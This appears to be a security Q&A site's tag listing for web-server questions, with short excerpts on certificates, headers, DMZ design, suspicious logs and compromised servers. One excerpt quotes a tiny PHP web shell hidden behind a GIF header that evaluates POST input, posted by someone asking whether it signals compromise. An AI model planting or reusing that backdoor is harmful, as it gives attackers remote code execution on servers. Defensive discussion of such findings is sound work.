A system whose primary function is to deliver web pages on request to clients.

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1answer
45 views

Receiving random numbers in GET request query string. Exploit?

I recently spun up a web server and have been receiving hits where the client appends a random number, for example "12345" as a query string to the root (/) endpoint. Here's an example log entry: ...
1
vote
1answer
37 views

How to securely install web applications on untrusted hosts?

In principle, storing data securely on an untrusted server seems to be easy. Just use a strong enough client side encryption. But how to deal with web applications? For example a forum software like ...
-4
votes
0answers
40 views

How to track down a email [closed]

I'm wondering how I track down a email. I have tried bananatag but I would like something more advanced. I have been scammed and want to get their IP. I also have a web server that I could trick ...
3
votes
1answer
51 views

Possible issues when one or more cookie not HttpOnly

I have a question related to HttpOnly cookie. Tracking other threads wasn't of much help, hence I am posting my query here to learn if you can foresee any issues with my understanding. There is a ...
0
votes
2answers
55 views

Server compromised with magento vulnerability, possible rootkit

I am experiencing a security issue with one server that it happens that I manage. I will try to cite all relevant facts as briefly as possible. I am asking for any additional information and course of ...
-1
votes
0answers
64 views

Viruses inside images?

I have a website where I show some images. Usual stuff like user-avatar, their uploaded pictures, etc. I was wondering if I need to scan those files before I store them in my server (linux machines). ...
-3
votes
1answer
77 views

insecure HTTP Methods Enabled — how to control? [closed]

Here I am new to insecure HTTP Methods Enabled. The server allows HTTP methods that are considered dangerous. The following methods were enabled: PUT,DELETE Software used: ...
1
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0answers
33 views

What are the security implications of enabling a SNI-hole on a web server?

A web server (let's say Apache 2.4) implements SNI. It is configured with a 4096 bit SHA384-signed Wildcard Certificate (*.land.org) with a Subject Alternative Name (land.org). The Certificate ...
2
votes
2answers
99 views

Did this ShellShock exploit work?

Looking through my web server logs, I noticed two different ShellShock attacks on my server, both of which generated a HTTP 200 OK response code. They look like this (IP address/date and time ...
1
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0answers
25 views

Possible vulnerabilities in private chat application implemented using web broadcasting

I have never used web-sockets but I am working in a PHP framework which has builtin broadcasting facility. This broadcasting use web-sockets technologies named Redis and Pusher. The workflow of this ...
-1
votes
2answers
50 views

webshell on webserver, but what does it contain/do? [closed]

Found this webshell but I can not get the plain text as I have not the secret/password to decode it completely. This is the part where I am missing some information: md5($_POST['_f__f']) Does ...
5
votes
2answers
322 views

Are there any downsides to using Let's Encrypt for a website's SSL certificates?

On the advantages side, I see several benefits to using the Let's Encrypt service (e.g., the service is free, easy to setup, and easy to maintain). I'm wondering what, if any, are the disadvantages to ...
14
votes
5answers
3k views

Are consumer-grade routers any more or less vulnerable? [closed]

I apologize if this is an obvious question, I'm not very familiar with hardware. I am planning on hosting a few personal websites from my home, but I'm concerned about my security. I'm using a fairly ...
4
votes
2answers
119 views

Is using a self signed certificate safer than a free ssl certificate? [duplicate]

I have a personal website/email server, basically for my own self learning use. I am using CACert (http://www.cacert.org/) for my SSL certificate as advised in a tutorial. I have no clue about ...
2
votes
1answer
353 views

Are there any security implications in creating an SSH key for the root user?

I've written an install script on a server to quickly set up new sites in the /srv directory. It needs to do a git clone, and has to be run via sudo in order to have the permissions to do all the ...
1
vote
2answers
60 views

What is risk of having memcache in public interface?

To what extent a hacker can potentially cause harm to a server? Can you please give few examples? Recently, there was a data breach in my website and I found out this interface was public-facing and ...
1
vote
0answers
94 views

What web browsers support ECC vs DSA vs RSA for SSL/TLS?

We are updating our wildcard certificate and see that we have the option to use both RSA or DSA with Symantec (for free), while Digicert offers 3 options for wildcards ECC, DSA and RSA. Is there a ...
3
votes
3answers
314 views

Error message in Apache logs shows /bin/bash and wget

I am wondering if my server is compromised or not I just looked at my log and seen the following line in there [Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client ...
0
votes
1answer
73 views

Why is Parallels Plesk running on port 8443 > 1023?

Parallels Plesk, a server administration software package, uses HTTP(S) on port 8443 (ref). I know that ports <1024 are only available for root. This means that if the server Plesk is using for ...
0
votes
1answer
50 views

3rd Party Authentication protocol

I have a hardware device (H), phone (P) and web server (S). I would like P to be able to send commands to H but only if it is authorized to do so. Permissions are stored on server. Technically I could ...
2
votes
2answers
170 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
0
votes
1answer
36 views

In What Ways Can X-Foward-For Header Information Be Used In An Attack

By enabling X-Foward-For on our proxy, we would essentially be advertising our internal IP addresses externally. However, we use a private range. Everything goes through NAT. So, the best anyone would ...
1
vote
4answers
262 views

Malware script uploaded - CPU has been maxed out

I received notifications that the CPU was maxed out. Using Process Manager in WHM, I could see that commands named "fuckyou" was running some kind of cron sript on our server. The file it was calling ...
-1
votes
1answer
109 views

How to test if my server is secure? [closed]

I'm using a debian7 VPS for hosting my websites. I have only installed webmin, apache, mysql, SSH and a wordpress website. I always update my packages and wordpress version. What is the best (free) ...
0
votes
1answer
41 views

Are DLLs in URLs executed on users local machine or on the remove machine?

In this question I am referring to DLLs listed in URLs such as this one: http://survey1.sendyouropinions.com/mrIWeb/mrIWeb.dll When this kind of URL is navigated to, is the code in the DLL executed ...
0
votes
1answer
35 views

Sharing sensitive information across servers on visits from the same browser

I have this scenario: Webserver domain A. Generates sensitive information when a request from a browser is received but this information is not disclosed to the browser. Webserver domain B. ...
13
votes
4answers
706 views

Custom socket server on the internet running as root

We are writing a custom socket server which runs on a high port. Until recently, it has been running behind a corporate firewall. Now, it has been decided that the server should be taken outside the ...
0
votes
1answer
73 views

“Transferring” SSL certificate to another person [closed]

Last year, I did a lot of work on a site as a freelancer. We wanted to put the whole thing behind HTTPS, so, for reasons I can't recall but probably expediency-related, I purchased a cert for it under ...
0
votes
1answer
71 views

HttpOnly at logout page [closed]

Firstly, my website can't be accessed without a session established. After a session is established then the server would set cookies. However, if i assess the website without a session, my site will ...
1
vote
1answer
43 views

Running webserver with SSL enabled but not used

We have a web server hosted by a third party running on port 80. They have also enabled SSL but we did not use it. We are just using port 80. Right now, when I do a vulnerability scan, some SSL ...
6
votes
1answer
104 views

Secure HTTP headers

In this article, the example shows ... HttpOnly;Secure However, a check on my server response show ... Secure;HttpOnly This may be a stupid question but, does the order matter? thanks
2
votes
2answers
65 views

Using a special user to manage web server? [closed]

I just rented a VPS, in order to run a web server. I installed LAMP utilities and everything work. I have actually only 1 user (root). This means everytime I want to connect to my server to modify ...
2
votes
1answer
41 views

Where to start , secure an AWS Ubuntu 14.04 [closed]

Ok so this is probably a basic question but I would like to expand my knowledge. I have created an AWS Ubuntu EC2 server. I am running software on the server that provides 2 services , firstly a ...
2
votes
1answer
94 views

wordpress server visitor log contains a script, what's the risk?

I see this in my WP statistics: Is it safe to click on the link? Under what conditions will the script be triggered?
0
votes
1answer
42 views

System backup in case of attack?

My system will be running for a well known insurance company within the UK, it will hold and process a lot of information for claims, brakdowns etc etc. I am worried that the company and the site as ...
2
votes
1answer
53 views

How to find out if content on my XAMPP server has been altered

During the development of a site, me and the team decided to develop the site with my computer as a server, with me making my localhost available from outside. I have been using several settings to ...
0
votes
1answer
127 views

Security issues for host system when running a home web server on a VM

I want to run a web server at home(really for the fun and learning of web/network and other security best practices), running a web app that i plan to write with ruby on rails and be able to access it ...
2
votes
1answer
754 views

Worrying httpd access logs [duplicate]

so after setting up a new server with just ssh (public key only) and a webserver which just serves one index.html I left for the weekend. Logging in on Monday I see this type of thing in my httpd ...
2
votes
1answer
51 views

Secure the config file of a service

I have a service running on a linux box, started with upstart, that runs as user "the_user", it has to read a config file. Having the file owned by root would make things more secure, but would ...
12
votes
9answers
4k views

Can an old operating system webserver be made secure?

I have an old laptop with far too little RAM to run Linux (including specialty distributions). It can however run Windows 98 just fine, and I'm looking into turning it into a tiny retro webserver. Is ...
0
votes
1answer
108 views

How does a reverse proxy change the security posture of a web server residing in the DMZ? [closed]

How does the reverse proxy change internal and external security posture with a reverse proxy compared to not having a reverse proxy? For example, you have a publicly accessible iis server, what is ...
2
votes
3answers
151 views

Is it okay to only use username/password to secure an admin page for moderating a website?

Is there a standard practice to securing an admin page for an application written in angular and nodejs or just in general? The admin page would approve/ban users and moderate comments. Should it be ...
0
votes
2answers
135 views

Preventing ARP spoofing in DMZ

Is there any possible way to implement a defence mechanism in a firewall to be able to prevent ARP spoofing in a DMZ. Our DMZ server consist of two webservers and a database (which should be available ...
0
votes
2answers
102 views

Place database in the DMZ and in the internal network

Is it sufficient to have single database inside the DMZ which the webservers in the DMZ receives their data from. Or if setup with two databases is a better solution, that would be to have a ...
1
vote
1answer
281 views

Cross Domain Javascript security [duplicate]

I used a web vulnerability scanner to scan my web site. It indicates several links with "Cross domain Java script source file inclusion." May I know how would an attacker exploit this type of ...
1
vote
1answer
135 views

How to know an Apache web server mod_cgi module is enabled?

I am currently working on penetration test of a web site that uses an Apache HTTP server. To test a vulnerability which is related to mod_cgi module, I need to know whether this web site uses mod_cgi ...
1
vote
1answer
77 views

What are the traces of a mysql attack on a server when the attacker has full permissions?

I just turned my server off yesterday, after it began to distribute comment spam across the internet, at an astounding rate over 70 "spams"/min, bottom of the line 1/2 gig ram VPS. I'm still trying to ...
1
vote
0answers
51 views

Vega Scanner Took Website offline? [closed]

I used the Subgraph Vega scanner to scan a website, I wanted to get any linked social media pages from their site. Anyway soon into the scan the page went offline with a 404. I checked with different ...
1
vote
3answers
70 views

Is it good practice to let Node/Go/… act as a frontend webserver?

I'm used to writing web stuff in PHP and let Apache or nginx handle the actual HTTP handling and load my code via whatever means (mod_php, fcgi, fpm, ...). I'm under the impression that this is a ...
28
votes
4answers
4k views

Why am I getting strange HTTP requests for non-existing pages?

I am running a web server and watching what people request. I have been getting frequent traffic like: GET /phph/php/ph.php HTTP/1.1 or GET /mrmr/mrm/mr.php HTTP/1.1 Are these scans? Are the ...